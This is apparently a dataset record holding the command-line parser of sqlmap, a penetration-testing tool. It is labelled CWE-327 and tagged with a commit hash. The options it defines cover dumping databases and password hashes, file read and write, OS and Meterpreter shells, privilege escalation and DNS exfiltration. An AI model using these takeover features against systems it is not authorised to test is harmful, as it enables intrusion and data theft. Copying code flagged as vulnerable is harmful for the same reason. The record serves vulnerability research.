        request.add_argument(""--eval"", dest=""evalCode"",
            help=""Evaluate provided Python code before the request (e.g. \""import hashlib;id2=hashlib.md5(id).hexdigest()\"")"")

        # Optimization options
        optimization = parser.add_argument_group(""Optimization"", ""These options can be used to optimize the performance of sqlmap"")

        optimization.add_argument(""-o"", dest=""optimize"", action=""store_true"",
            help=""Turn on all optimization switches"")

        optimization.add_argument(""--predict-output"", dest=""predictOutput"", action=""store_true"",
            help=""Predict common queries output"")

        optimization.add_argument(""--keep-alive"", dest=""keepAlive"", action=""store_true"",
            help=""Use persistent HTTP(s) connections"")

        optimization.add_argument(""--null-connection"", dest=""nullConnection"", action=""store_true"",
            help=""Retrieve page length without actual HTTP response body"")

        optimization.add_argument(""--threads"", dest=""threads"", type=int,
            help=""Max number of concurrent HTTP(s) requests (default %d)"" % defaults.threads)

        # Injection options
        injection = parser.add_argument_group(""Injection"", ""These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts"")

        injection.add_argument(""-p"", dest=""testParameter"",
            help=""Testable parameter(s)"")

        injection.add_argument(""--skip"", dest=""skip"",
            help=""Skip testing for given parameter(s)"")

        injection.add_argument(""--skip-static"", dest=""skipStatic"", action=""store_true"",
            help=""Skip testing parameters that not appear to be dynamic"")

        injection.add_argument(""--param-exclude"", dest=""paramExclude"",
            help=""Regexp to exclude parameters from testing (e.g. \""ses\"")"")

        injection.add_argument(""--param-filter"", dest=""paramFilter"",
            help=""Select testable parameter(s) by place (e.g. \""POST\"")"")

        injection.add_argument(""--dbms"", dest=""dbms"",
            help=""Force back-end DBMS to provided value"")

        injection.add_argument(""--dbms-cred"", dest=""dbmsCred"",
            help=""DBMS authentication credentials (user:password)"")

        injection.add_argument(""--os"", dest=""os"",
            help=""Force back-end DBMS operating system to provided value"")

        injection.add_argument(""--invalid-bignum"", dest=""invalidBignum"", action=""store_true"",
            help=""Use big numbers for invalidating values"")

        injection.add_argument(""--invalid-logical"", dest=""invalidLogical"", action=""store_true"",
            help=""Use logical operations for invalidating values"")

        injection.add_argument(""--invalid-string"", dest=""invalidString"", action=""store_true"",
            help=""Use random strings for invalidating values"")

        injection.add_argument(""--no-cast"", dest=""noCast"", action=""store_true"",
            help=""Turn off payload casting mechanism"")

        injection.add_argument(""--no-escape"", dest=""noEscape"", action=""store_true"",
            help=""Turn off string escaping mechanism"")

        injection.add_argument(""--prefix"", dest=""prefix"",
            help=""Injection payload prefix string"")

        injection.add_argument(""--suffix"", dest=""suffix"",
            help=""Injection payload suffix string"")

        injection.add_argument(""--tamper"", dest=""tamper"",
            help=""Use given script(s) for tampering injection data"")

        # Detection options
        detection = parser.add_argument_group(""Detection"", ""These options can be used to customize the detection phase"")

        detection.add_argument(""--level"", dest=""level"", type=int,
            help=""Level of tests to perform (1-5, default %d)"" % defaults.level)

        detection.add_argument(""--risk"", dest=""risk"", type=int,
            help=""Risk of tests to perform (1-3, default %d)"" % defaults.risk)

        detection.add_argument(""--string"", dest=""string"",
            help=""String to match when query is evaluated to True"")

        detection.add_argument(""--not-string"", dest=""notString"",
            help=""String to match when query is evaluated to False"")

        detection.add_argument(""--regexp"", dest=""regexp"",
            help=""Regexp to match when query is evaluated to True"")

        detection.add_argument(""--code"", dest=""code"", type=int,
            help=""HTTP code to match when query is evaluated to True"")

        detection.add_argument(""--smart"", dest=""smart"", action=""store_true"",
            help=""Perform thorough tests only if positive heuristic(s)"")

        detection.add_argument(""--text-only"", dest=""textOnly"", action=""store_true"",
            help=""Compare pages based only on the textual content"")

        detection.add_argument(""--titles"", dest=""titles"", action=""store_true"",
            help=""Compare pages based only on their titles"")

        # Techniques options
        techniques = parser.add_argument_group(""Techniques"", ""These options can be used to tweak testing of specific SQL injection techniques"")

        techniques.add_argument(""--technique"", dest=""technique"",
            help=""SQL injection techniques to use (default \""%s\"")"" % defaults.technique)

        techniques.add_argument(""--time-sec"", dest=""timeSec"", type=int,
            help=""Seconds to delay the DBMS response (default %d)"" % defaults.timeSec)

        techniques.add_argument(""--union-cols"", dest=""uCols"",
            help=""Range of columns to test for UNION query SQL injection"")

        techniques.add_argument(""--union-char"", dest=""uChar"",
            help=""Character to use for bruteforcing number of columns"")

        techniques.add_argument(""--union-from"", dest=""uFrom"",
            help=""Table to use in FROM part of UNION query SQL injection"")

        techniques.add_argument(""--dns-domain"", dest=""dnsDomain"",
            help=""Domain name used for DNS exfiltration attack"")

        techniques.add_argument(""--second-url"", dest=""secondUrl"",
            help=""Resulting page URL searched for second-order response"")

        techniques.add_argument(""--second-req"", dest=""secondReq"",
            help=""Load second-order HTTP request from file"")

        # Fingerprint options
        fingerprint = parser.add_argument_group(""Fingerprint"")

        fingerprint.add_argument(""-f"", ""--fingerprint"", dest=""extensiveFp"", action=""store_true"",
            help=""Perform an extensive DBMS version fingerprint"")

        # Enumeration options
        enumeration = parser.add_argument_group(""Enumeration"", ""These options can be used to enumerate the back-end database management system information, structure and data contained in the tables"")

        enumeration.add_argument(""-a"", ""--all"", dest=""getAll"", action=""store_true"",
            help=""Retrieve everything"")

        enumeration.add_argument(""-b"", ""--banner"", dest=""getBanner"", action=""store_true"",
            help=""Retrieve DBMS banner"")

        enumeration.add_argument(""--current-user"", dest=""getCurrentUser"", action=""store_true"",
            help=""Retrieve DBMS current user"")

        enumeration.add_argument(""--current-db"", dest=""getCurrentDb"", action=""store_true"",
            help=""Retrieve DBMS current database"")

        enumeration.add_argument(""--hostname"", dest=""getHostname"", action=""store_true"",
            help=""Retrieve DBMS server hostname"")

        enumeration.add_argument(""--is-dba"", dest=""isDba"", action=""store_true"",
            help=""Detect if the DBMS current user is DBA"")

        enumeration.add_argument(""--users"", dest=""getUsers"", action=""store_true"",
            help=""Enumerate DBMS users"")

        enumeration.add_argument(""--passwords"", dest=""getPasswordHashes"", action=""store_true"",
            help=""Enumerate DBMS users password hashes"")

        enumeration.add_argument(""--privileges"", dest=""getPrivileges"", action=""store_true"",
            help=""Enumerate DBMS users privileges"")

        enumeration.add_argument(""--roles"", dest=""getRoles"", action=""store_true"",
            help=""Enumerate DBMS users roles"")

        enumeration.add_argument(""--dbs"", dest=""getDbs"", action=""store_true"",
            help=""Enumerate DBMS databases"")

        enumeration.add_argument(""--tables"", dest=""getTables"", action=""store_true"",
            help=""Enumerate DBMS database tables"")

        enumeration.add_argument(""--columns"", dest=""getColumns"", action=""store_true"",
            help=""Enumerate DBMS database table columns"")

        enumeration.add_argument(""--schema"", dest=""getSchema"", action=""store_true"",
            help=""Enumerate DBMS schema"")

        enumeration.add_argument(""--count"", dest=""getCount"", action=""store_true"",
            help=""Retrieve number of entries for table(s)"")

        enumeration.add_argument(""--dump"", dest=""dumpTable"", action=""store_true"",
            help=""Dump DBMS database table entries"")

        enumeration.add_argument(""--dump-all"", dest=""dumpAll"", action=""store_true"",
            help=""Dump all DBMS databases tables entries"")

        enumeration.add_argument(""--search"", dest=""search"", action=""store_true"",
            help=""Search column(s), table(s) and/or database name(s)"")

        enumeration.add_argument(""--comments"", dest=""getComments"", action=""store_true"",
            help=""Check for DBMS comments during enumeration"")

        enumeration.add_argument(""--statements"", dest=""getStatements"", action=""store_true"",
            help=""Retrieve SQL statements being run on DBMS"")

        enumeration.add_argument(""-D"", dest=""db"",
            help=""DBMS database to enumerate"")

        enumeration.add_argument(""-T"", dest=""tbl"",
            help=""DBMS database table(s) to enumerate"")

        enumeration.add_argument(""-C"", dest=""col"",
            help=""DBMS database table column(s) to enumerate"")

        enumeration.add_argument(""-X"", dest=""exclude"",
            help=""DBMS database identifier(s) to not enumerate"")

        enumeration.add_argument(""-U"", dest=""user"",
            help=""DBMS user to enumerate"")

        enumeration.add_argument(""--exclude-sysdbs"", dest=""excludeSysDbs"", action=""store_true"",
            help=""Exclude DBMS system databases when enumerating tables"")

        enumeration.add_argument(""--pivot-column"", dest=""pivotColumn"",
            help=""Pivot column name"")

        enumeration.add_argument(""--where"", dest=""dumpWhere"",
            help=""Use WHERE condition while table dumping"")

        enumeration.add_argument(""--start"", dest=""limitStart"", type=int,
            help=""First dump table entry to retrieve"")

        enumeration.add_argument(""--stop"", dest=""limitStop"", type=int,
            help=""Last dump table entry to retrieve"")

        enumeration.add_argument(""--first"", dest=""firstChar"", type=int,
            help=""First query output word character to retrieve"")

        enumeration.add_argument(""--last"", dest=""lastChar"", type=int,
            help=""Last query output word character to retrieve"")

        enumeration.add_argument(""--sql-query"", dest=""sqlQuery"",
            help=""SQL statement to be executed"")

        enumeration.add_argument(""--sql-shell"", dest=""sqlShell"", action=""store_true"",
            help=""Prompt for an interactive SQL shell"")

        enumeration.add_argument(""--sql-file"", dest=""sqlFile"",
            help=""Execute SQL statements from given file(s)"")

        # Brute force options
        brute = parser.add_argument_group(""Brute force"", ""These options can be used to run brute force checks"")

        brute.add_argument(""--common-tables"", dest=""commonTables"", action=""store_true"",
            help=""Check existence of common tables"")

        brute.add_argument(""--common-columns"", dest=""commonColumns"", action=""store_true"",
            help=""Check existence of common columns"")

        brute.add_argument(""--common-files"", dest=""commonFiles"", action=""store_true"",
            help=""Check existence of common files"")

        # User-defined function options
        udf = parser.add_argument_group(""User-defined function injection"", ""These options can be used to create custom user-defined functions"")

        udf.add_argument(""--udf-inject"", dest=""udfInject"", action=""store_true"",
            help=""Inject custom user-defined functions"")

        udf.add_argument(""--shared-lib"", dest=""shLib"",
            help=""Local path of the shared library"")

        # File system options
        filesystem = parser.add_argument_group(""File system access"", ""These options can be used to access the back-end database management system underlying file system"")

        filesystem.add_argument(""--file-read"", dest=""fileRead"",
            help=""Read a file from the back-end DBMS file system"")

        filesystem.add_argument(""--file-write"", dest=""fileWrite"",
            help=""Write a local file on the back-end DBMS file system"")

        filesystem.add_argument(""--file-dest"", dest=""fileDest"",
            help=""Back-end DBMS absolute filepath to write to"")

        # Takeover options
        takeover = parser.add_argument_group(""Operating system access"", ""These options can be used to access the back-end database management system underlying operating system"")

        takeover.add_argument(""--os-cmd"", dest=""osCmd"",
            help=""Execute an operating system command"")

        takeover.add_argument(""--os-shell"", dest=""osShell"", action=""store_true"",
            help=""Prompt for an interactive operating system shell"")

        takeover.add_argument(""--os-pwn"", dest=""osPwn"", action=""store_true"",
            help=""Prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-smbrelay"", dest=""osSmb"", action=""store_true"",
            help=""One click prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-bof"", dest=""osBof"", action=""store_true"",
            help=""Stored procedure buffer overflow ""
                                 ""exploitation"")

        takeover.add_argument(""--priv-esc"", dest=""privEsc"", action=""store_true"",
            help=""Database process user privilege escalation"")

        takeover.add_argument(""--msf-path"", dest=""msfPath"",
            help=""Local path where Metasploit Framework is installed"")

        takeover.add_argument(""--tmp-path"", dest=""tmpPath"",
            help=""Remote absolute path of temporary files directory"")

        # Windows registry options
        windows = parser.add_argument_group(""Windows registry access"", ""These options can be used to access the back-end database management system Windows registry"")

        windows.add_argument(""--reg-read"", dest=""regRead"", action=""store_true"",
            help=""Read a Windows registry key value"")

        windows.add_argument(""--reg-add"", dest=""regAdd"", action=""store_true"",
            help=""Write a Windows registry key value data"")

        windows.add_argument(""--reg-del"", dest=""regDel"", action=""store_true"",
            help=""Delete a Windows registry key value"")

        windows.add_argument(""--reg-key"", dest=""regKey"",
            help=""Windows registry key"")

        windows.add_argument(""--reg-value"", dest=""regVal"",
            help=""Windows registry key value"")

        windows.add_argument(""--reg-data"", dest=""regData"",
            help=""Windows registry key value data"")

        windows.add_argument(""--reg-type"", dest=""regType"",
            help=""Windows registry key value type"")

        # General options
        general = parser.add_argument_group(""General"", ""These options can be used to set some general working parameters"")

        general.add_argument(""-s"", dest=""sessionFile"",
            help=""Load session from a stored (.sqlite) file"")

        general.add_argument(""-t"", dest=""trafficFile"",
            help=""Log all HTTP traffic into a textual file"")

        general.add_argument(""--answers"", dest=""answers"",
            help=""Set predefined answers (e.g. \""quit=N,follow=N\"")"")

        general.add_argument(""--base64"", dest=""base64Parameter"",
            help=""Parameter(s) containing Base64 encoded data"")

        general.add_argument(""--base64-safe"", dest=""base64Safe"", action=""store_true"",
            help=""Use URL and filename safe Base64 alphabet (RFC 4648)"")

        general.add_argument(""--batch"", dest=""batch"", action=""store_true"",
            help=""Never ask for user input, use the default behavior"")

        general.add_argument(""--binary-fields"", dest=""binaryFields"",
            help=""Result fields having binary values (e.g. \""digest\"")"")

        general.add_argument(""--check-internet"", dest=""checkInternet"", action=""store_true"",
            help=""Check Internet connection before assessing the target"")

        general.add_argument(""--cleanup"", dest=""cleanup"", action=""store_true"",
            help=""Clean up the DBMS from sqlmap specific UDF and tables"")

        general.add_argument(""--crawl"", dest=""crawlDepth"", type=int,
            help=""Crawl the website starting from the target URL"")

        general.add_argument(""--crawl-exclude"", dest=""crawlExclude"",
            help=""Regexp to exclude pages from crawling (e.g. \""logout\"")"")

        general.add_argument(""--csv-del"", dest=""csvDel"",
            help=""Delimiting character used in CSV output (default \""%s\"")"" % defaults.csvDel)

        general.add_argument(""--charset"", dest=""charset"",
            help=""Blind SQL injection charset (e.g. \""0123456789abcdef\"")"")

        general.add_argument(""--dump-format"", dest=""dumpFormat"",
            help=""Format of dumped data (CSV (default), HTML or SQLITE)"")

        general.add_argument(""--encoding"", dest=""encoding"",
            help=""Character encoding used for data retrieval (e.g. GBK)"")

        general.add_argument(""--eta"", dest=""eta"", action=""store_true"",
            help=""Display for each output the estimated time of arrival"")

        general.add_argument(""--flush-session"", dest=""flushSession"", action=""store_true"",
            help=""Flush session files for current target"")

        general.add_argument(""--forms"", dest=""forms"", action=""store_true"",
            help=""Parse and test forms on target URL"")

        general.add_argument(""--fresh-queries"", dest=""freshQueries"", action=""store_true"",
            help=""Ignore query results stored in session file"")

        general.add_argument(""--gpage"", dest=""googlePage"", type=int,
            help=""Use Google dork results from specified page number"")

        general.add_argument(""--har"", dest=""harFile"",
            help=""Log all HTTP traffic into a HAR file"")

        general.add_argument(""--hex"", dest=""hexConvert"", action=""store_true"",
            help=""Use hex conversion during data retrieval"")

        general.add_argument(""--output-dir"", dest=""outputDir"", action=""store"",
            help=""Custom output directory path"")

        general.add_argument(""--parse-errors"", dest=""parseErrors"", action=""store_true"",
            help=""Parse and display DBMS error messages from responses"")

        general.add_argument(""--preprocess"", dest=""preprocess"",
            help=""Use given script(s) for preprocessing (request)"")

        general.add_argument(""--postprocess"", dest=""postprocess"",
            help=""Use given script(s) for postprocessing (response)"")

        general.add_argument(""--repair"", dest=""repair"", action=""store_true"",
            help=""Redump entries having unknown character marker (%s)"" % INFERENCE_UNKNOWN_CHAR)

        general.add_argument(""--save"", dest=""saveConfig"",
            help=""Save options to a configuration INI file"")

        general.add_argument(""--scope"", dest=""scope"",
            help=""Regexp for filtering targets"")

        general.add_argument(""--skip-heuristics"", dest=""skipHeuristics"", action=""store_true"",
            help=""Skip heuristic detection of vulnerabilities"")

        general.add_argument(""--skip-waf"", dest=""skipWaf"", action=""store_true"",
            help=""Skip heuristic detection of WAF/IPS protection"")

        general.add_argument(""--table-prefix"", dest=""tablePrefix"",
            help=""Prefix used for temporary tables (default: \""%s\"")"" % defaults.tablePrefix)

        general.add_argument(""--test-filter"", dest=""testFilter"",
            help=""Select tests by payloads and/or titles (e.g. ROW)"")

        general.add_argument(""--test-skip"", dest=""testSkip"",
            help=""Skip tests by payloads and/or titles (e.g. BENCHMARK)"")

        general.add_argument(""--web-root"", dest=""webRoot"",
            help=""Web server document root directory (e.g. \""/var/www\"")"")

        # Miscellaneous options
        miscellaneous = parser.add_argument_group(""Miscellaneous"", ""These options do not fit into any other category"")

        miscellaneous.add_argument(""-z"", dest=""mnemonics"",
            help=""Use short mnemonics (e.g. \""flu,bat,ban,tec=EU\"")"")

        miscellaneous.add_argument(""--alert"", dest=""alert"",
            help=""Run host OS command(s) when SQL injection is found"")

        miscellaneous.add_argument(""--beep"", dest=""beep"", action=""store_true"",
            help=""Beep on question and/or when vulnerability is found"")

        miscellaneous.add_argument(""--dependencies"", dest=""dependencies"", action=""store_true"",
            help=""Check for missing (optional) sqlmap dependencies"")

        miscellaneous.add_argument(""--disable-coloring"", dest=""disableColoring"", action=""store_true"",
            help=""Disable console output coloring"")

        miscellaneous.add_argument(""--list-tampers"", dest=""listTampers"", action=""store_true"",
            help=""Display list of available tamper scripts"")

        miscellaneous.add_argument(""--offline"", dest=""offline"", action=""store_true"",
            help=""Work in offline mode (only use session data)"")

        miscellaneous.add_argument(""--purge"", dest=""purge"", action=""store_true"",
            help=""Safely remove all content from sqlmap data directory"")

        miscellaneous.add_argument(""--results-file"", dest=""resultsFile"",
            help=""Location of CSV results file in multiple targets mode"")

        miscellaneous.add_argument(""--shell"", dest=""shell"", action=""store_true"",
            help=""Prompt for an interactive sqlmap shell"")

        miscellaneous.add_argument(""--tmp-dir"", dest=""tmpDir"",
            help=""Local directory for storing temporary files"")

        miscellaneous.add_argument(""--unstable"", dest=""unstable"", action=""store_true"",
            help=""Adjust options for unstable connections"")

        miscellaneous.add_argument(""--update"", dest=""updateAll"", action=""store_true"",
            help=""Update sqlmap"")

        miscellaneous.add_argument(""--wizard"", dest=""wizard"", action=""store_true"",
            help=""Simple wizard interface for beginner users"")

        # Hidden and/or experimental options
        parser.add_argument(""--crack"", dest=""hashFile"",
            help=SUPPRESS)  # ""Load and crack hashes from a file (standalone)""

        parser.add_argument(""--dummy"", dest=""dummy"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--yuge"", dest=""yuge"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--murphy-rate"", dest=""murphyRate"", type=int,
            help=SUPPRESS)

        parser.add_argument(""--debug"", dest=""debug"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--deprecations"", dest=""deprecations"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-multi"", dest=""disableMulti"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-precon"", dest=""disablePrecon"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-stats"", dest=""disableStats"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--profile"", dest=""profile"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--localhost"", dest=""localhost"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-dbms"", dest=""forceDbms"",
            help=SUPPRESS)

        parser.add_argument(""--force-dns"", dest=""forceDns"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-partial"", dest=""forcePartial"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-pivoting"", dest=""forcePivoting"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--non-interactive"", dest=""nonInteractive"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--gui"", dest=""gui"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--smoke-test"", dest=""smokeTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--vuln-test"", dest=""vulnTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--fuzz-test"", dest=""fuzzTest"", action=""store_true"",
            help=SUPPRESS)

        # API options
        parser.add_argument(""--api"", dest=""api"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--taskid"", dest=""taskid"",
            help=SUPPRESS)

        parser.add_argument(""--database"", dest=""database"",
            help=SUPPRESS)

        # Dirty hack to display longer options without breaking into two lines
        if hasattr(parser, ""formatter""):
            def _(self, *args):
                retVal = parser.formatter._format_option_strings(*args)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal
                return retVal

            parser.formatter._format_option_strings = parser.formatter.format_option_strings
            parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
        else:
            def _format_action_invocation(self, action):
                retVal = self.__format_action_invocation(action)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal
                return retVal

            parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation
            parser.formatter_class._format_action_invocation = _format_action_invocation

        # Dirty hack for making a short option '-hh'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""--hh"")
            option._short_opts = [""-hh""]
            option._long_opts = []
        else:
            for action in get_actions(parser):
                if action.option_strings == [""--hh""]:
                    action.option_strings = [""-hh""]
                    break

        # Dirty hack for inherent help message of switch '-h'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""-h"")
            option.help = option.help.capitalize().replace(""this help"", ""basic help"")
        else:
            for action in get_actions(parser):
                if action.option_strings == [""-h"", ""--help""]:
                    action.help = action.help.capitalize().replace(""this help"", ""basic help"")
                    break

        _ = []
        advancedHelp = True
        extraHeaders = []
        auxIndexes = {}

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
        for arg in argv:
            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkOldOptions(argv)

        if ""--gui"" in argv:
            from lib.core.gui import runGui

            runGui(parser)

            raise SqlmapSilentQuitException

        elif ""--shell"" in argv:
            _createHomeDirectories()

            parser.usage = """"
            cmdLineOptions.sqlmapShell = True

            commands = set((""x"", ""q"", ""exit"", ""quit"", ""clear""))
            commands.update(get_all_options(parser))

            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)

            while True:
                command = None
                prompt = ""sqlmap > ""

                try:
                    # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170)
                    command = _input(prompt).strip()
                except (KeyboardInterrupt, EOFError):
                    print()
                    raise SqlmapShellQuitException

                command = re.sub(r""(?i)\Anew\s+"", """", command or """")

                if not command:
                    continue
                elif command.lower() == ""clear"":
                    clearHistory()
                    dataToStdout(""[i] history cleared\n"")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in (""x"", ""q"", ""exit"", ""quit""):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
                    if not re.search(r""(?i)\A(\?|help)\Z"", command):
                        dataToStdout(""[!] invalid option(s) provided\n"")
                    dataToStdout(""[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n"")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    break

            try:
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError as ex:
                raise SqlmapSyntaxException(""something went wrong during command line parsing ('%s')"" % getSafeExString(ex))

        longOptions = set(re.findall(r""\-\-([^= ]+?)="", parser.format_help()))
        longSwitches = set(re.findall(r""\-\-([^= ]+?)\s"", parser.format_help()))

        for i in xrange(len(argv)):
            # Reference: https://en.wiktionary.org/wiki/-
            argv[i] = re.sub(u""\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+"", lambda match: '-' * len(match.group(0)), argv[i])

            # Reference: https://unicode-table.com/en/sets/quotation-marks/
            argv[i] = argv[i].strip(u""\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C"")

            if argv[i] == ""-hh"":
                argv[i] = ""-h""
            elif i == 1 and re.search(r""\A(http|www\.|\w[\w.-]+\.\w{2,})"", argv[i]) is not None:
                argv[i] = ""--url=%s"" % argv[i]
            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                dataToStdout(""[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u""\uff0c"" in argv[i].split('=', 1)[-1]:
                dataToStdout(""[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w=.+"", argv[i]):
                dataToStdout(""[!] potentially miswritten (illegal '=') short option detected ('%s')\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w{3,}"", argv[i]):
                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
                    argv[i] = ""-%s"" % argv[i]
            elif argv[i] in IGNORED_OPTIONS:
                argv[i] = """"
            elif argv[i] in DEPRECATED_OPTIONS:
                argv[i] = """"
            elif argv[i].startswith(""--data-raw""):
                argv[i] = argv[i].replace(""--data-raw"", ""--data"", 1)
            elif argv[i].startswith(""--auth-creds""):
                argv[i] = argv[i].replace(""--auth-creds"", ""--auth-cred"", 1)
            elif argv[i].startswith(""--drop-cookie""):
                argv[i] = argv[i].replace(""--drop-cookie"", ""--drop-set-cookie"", 1)
            elif any(argv[i].startswith(_) for _ in (""--tamper"", ""--ignore-code"", ""--skip"")):
                key = re.search(r""\-?\-(\w+)\b"", argv[i]).group(1)
                index = auxIndexes.get(key, None)
                if index is None:
                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                    auxIndexes[key] = index
                else:
                    delimiter = ','
                    argv[index] = ""%s%s%s"" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else """"))
                    argv[i] = """"
            elif argv[i] in (""-H"", ""--header"") or any(argv[i].startswith(""%s="" % _) for _ in (""-H"", ""--header"")):
                if '=' in argv[i]:
                    extraHeaders.append(argv[i].split('=', 1)[1])
                elif i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif argv[i] == ""--deps"":
                argv[i] = ""--dependencies""
            elif argv[i] == ""--disable-colouring"":
                argv[i] = ""--disable-coloring""
            elif argv[i] == ""-r"":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
                    if os.path.isfile(value):
                        argv[i + 1] += "",%s"" % value
                        argv[j] = ''
                    else:
                        break
            elif re.match(r""\A\d+!\Z"", argv[i]) and argv[max(0, i - 1)] == ""--threads"" or re.match(r""\A--threads.+\d+!\Z"", argv[i]):
                argv[i] = argv[i][:-1]
                conf.skipThreadCheck = True
            elif argv[i] == ""--version"":
                print(VERSION_STRING.split('/')[-1])
                raise SystemExit
            elif argv[i] in (""-h"", ""--help""):
                advancedHelp = False
                for group in get_groups(parser)[:]:
                    found = False
                    for option in get_actions(group):
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS
                        else:
                            found = True
                    if not found:
                        get_groups(parser).remove(group)
            elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r""\A-{1,2}\w"", argv[i - 1]) is None:
                dataToStdout(""[!] detected usage of long-option without a starting hyphen ('%s')\n"" % argv[i])
                raise SystemExit

        for verbosity in (_ for _ in argv if re.search(r""\A\-v+\Z"", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
                    conf.verbose = verbosity.count('v')
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass

        try:
            (args, _) = parser.parse_known_args(argv) if hasattr(parser, ""parse_known_args"") else parser.parse_args(argv)
        except UnicodeEncodeError as ex:
            dataToStdout(""\n[!] %s\n"" % getUnicode(ex.object.encode(""unicode-escape"")))
            raise SystemExit
        except SystemExit:
            if ""-h"" in argv and not advancedHelp:
                dataToStdout(""\n[!] to see full list of options run with '-hh'\n"")
            raise

        if extraHeaders:
            if not args.headers:
                args.headers = """"
            delimiter = ""\\n"" if ""\\n"" in args.headers else ""\n""
            args.headers += delimiter + delimiter.join(extraHeaders)

        # Expand given mnemonic options (e.g. -z ""ign,flu,bat"")
        for i in xrange(len(argv) - 1):
            if argv[i] == ""-z"":
                expandMnemonics(argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if hasattr(sys.stdin, ""fileno"") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
            args.stdinPipe = iter(sys.stdin.readline, None)
        else:
            args.stdinPipe = None

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
            errMsg = ""missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). ""
            errMsg += ""Use -h for basic and -hh for advanced help\n""
            parser.error(errMsg)

        return args

    except (ArgumentError, TypeError) as ex:
        parser.error(ex)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN and ""--non-interactive"" not in sys.argv:
            dataToStdout(""\nPress Enter to continue..."")
            _input()
        raise

    debugMsg = ""parsing command line""
    logger.debug(debugMsg)",CWE-327,sqlmapproject/sqlmap,38c341076df53dd626645b16d344c138b10fc39b,"def cmdLineParser(argv=None):
    """"""
    This function parses the command line parameters and arguments
    """"""

    if not argv:
        argv = sys.argv

    checkSystemEncoding()

    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = ""%s%s [options]"" % (""%s "" % os.path.basename(sys.executable) if not IS_WIN else """", ""\""%s\"""" % _ if "" "" in _ else _)
    parser = ArgumentParser(usage=usage)

    try:
        parser.add_argument(""--hh"", dest=""advancedHelp"", action=""store_true"",
            help=""Show advanced help message and exit"")

